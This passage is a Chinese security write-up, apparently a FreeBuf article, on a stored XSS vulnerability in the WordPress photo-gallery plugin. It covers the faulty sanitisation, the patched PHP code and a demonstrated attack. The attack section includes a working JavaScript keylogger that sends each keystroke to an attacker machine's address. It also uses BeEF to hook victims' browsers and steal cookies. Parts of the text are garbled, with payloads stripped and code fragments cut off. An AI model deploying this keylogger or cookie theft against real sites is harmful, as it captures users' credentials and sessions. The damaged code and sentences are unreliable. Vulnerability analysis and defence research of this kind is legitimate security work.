WordPress起初是一款个人博客系统,后来逐步地演化成为一款内容管理系统软件。它使用PHP语言和MySQL数据库开发而成,用户可以在支持相应版本的PHP 和 MySQL数据库的服务器上方便快捷地搭建自己的博客或者网站。WordPress中的photo-gallery插件可以让用户在短短几分钟内构建十分漂亮精美的照片库。在photo-gallery|/”无法匹配类似于alert(“Hello”);的XSS测试脚本。
wp_check_invalid_utf8函数用于检查字符串中是否存在无效的utf8编码。
_wp_specialchars函数将一些特殊字符转换为其HTML实体,具体包含&, , “, and ‘.这些字符,但只是将这些特殊字符进行html编码存储,并没有将其过滤。
综上,过滤方法并未起作用,因此XSS脚本完整地保存在了MySQL数据库中,如下图所示:
漏洞修复
针对版本号 'keep' ) );
$string = wp_kses_normalize_entities( $string );
$string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );
return wp_kses_split( $string, $allowed_html, $allowed_protocols );
}
其中函数wp_kses_split通过正则表达式可以准确匹配并过滤XSS脚本代码,具体代码如下:
function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
global $pass_allowed_html, $pass_allowed_protocols;
$pass_allowed_html = $allowed_html;
$pass_allowed_protocols = $allowed_protocols;
return preg_replace_callback( '%(|$))|(]*(>|$)|>)%', '_wp_kses_split_callback', $string );
}
修复后的代码中,将类WDWLibrary的静态函数get中的形参$esc_html = true修改为$callback = ‘esc_html’,此时默认使用esc_html函数进行过滤;如果有实参传入,本例中传入wp_filter_post_kses,那么就使用wp_filter_post_kses函数进行过滤。
语句array_walk_recursive($value, array(‘self’, ‘validate_data’), $callback),将参数$callback传递到类WDWLibrary本身的静态函数validate_data中,然后使用validate_data函数循环处理数组value中的值。
静态函数get的具体代码如下:
public static function get($key, $default_value = '', $callback = 'esc_html') {
if (isset($_GET[$key])) {
$value = $_GET[$key];
}
elseif (isset($_POST[$key])) {
$value = $_POST[$key];
}
elseif (isset($_REQUEST[$key])) {
$value = $_REQUEST[$key];
}
else {
$value = $default_value;
}
if (is_array($value)) {
array_walk_recursive($value, array('self', 'validate_data'), $callback);
}
else {
self::validate_data($value, $callback);
}
return $value;
}
静态函数validate_data的代码如下:
private static function validate_data(&$value, $callback) {
$value = stripslashes($value);
if ( $callback ) {
$value = $callback($value);
}
}
漏洞利用
1.利用XSS漏洞获取键盘记录:
1.1将keyrecorder.js和keyrecorder.php保存到渗透主机Kali的/var/www/html目录下,通过命令service apache2 start来启动apache服务。
keyrecorder.js代码如下:
document.onkeypress = function(evt){
evt = evt || window.event
keyrecord = String.fromCharCode(evt.charCode)
if (keyrecord) {
var http = new XMLHttpRequest();
var param = encodeURI(keyrecord);
http.open("POST","http://192.168.188.156/keyrecorder.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("keyrecord="+param);
}
}
keyrecorder.php代码如下:
1.2在Alt/Title或者Description文本框中输入如下语句:
点击save按钮保存修改,再点击Preview进行照片库预览。
1.3然后在页面http://192.168.188.155/wordpress/bwg_gallery/testxss/中的所有键盘记录均会被采集并发送到渗透主机Kali,这里我们输入Hello World!,Kali中的keyrecord.txt的内容如下图所示(键盘记录采集成功):
如果某个Web系统的登录页面中存在存储型的XSS漏洞,只要用户输入用户名和密码,那么用户名和密码不知不觉中就会被传输到攻击者的主机中,这是极其危险的。
2.利用BeEF进行更多的操作:
2.1在Kali Linux中启动BeEF,在Alt/Title或者Description文本框中输入如下语句:
然后在photo-gallery的Preview(预览)功能中触发XSS脚本,接着BeEF就捕获到了受害者主机,如下图所示:
2.2通过BeEF可以获取受害者主机的Cookie。如果获取到的是管理员的Cookie,是不是瞬间感觉XSS跟SQL注入一样有魅力呢?是不是感觉XSS并不鸡肋了呢?结果如下图所示:
2.3BeEF可以检索并获取目标页面中的所有链接,利用这一特性可以针对目标服务器进行更深一步的信息收集,结果如下图所示:
2.4BeEF还可以检测受害者机器是否为虚拟机,结果如下图所示:
PS:BeEF的功能十分强大,可以进行的操作远不止这些,这里只是简单列举了其中三个功能。
总结:
XSS漏洞的防御涉及输入和输出两部分。
一、对用户输入的数据进行过滤消毒,包括HTML 特性、JavaScript关键字、空字符、特殊字符等等,本文中的修复方式属于这个范畴。
二、对输出到页面上的内容进行相应的编码转换,包括HTML实体编码、JavaScript编码等。
*本文原创作者:Neroqi,本文属于FreeBuf原创奖励计划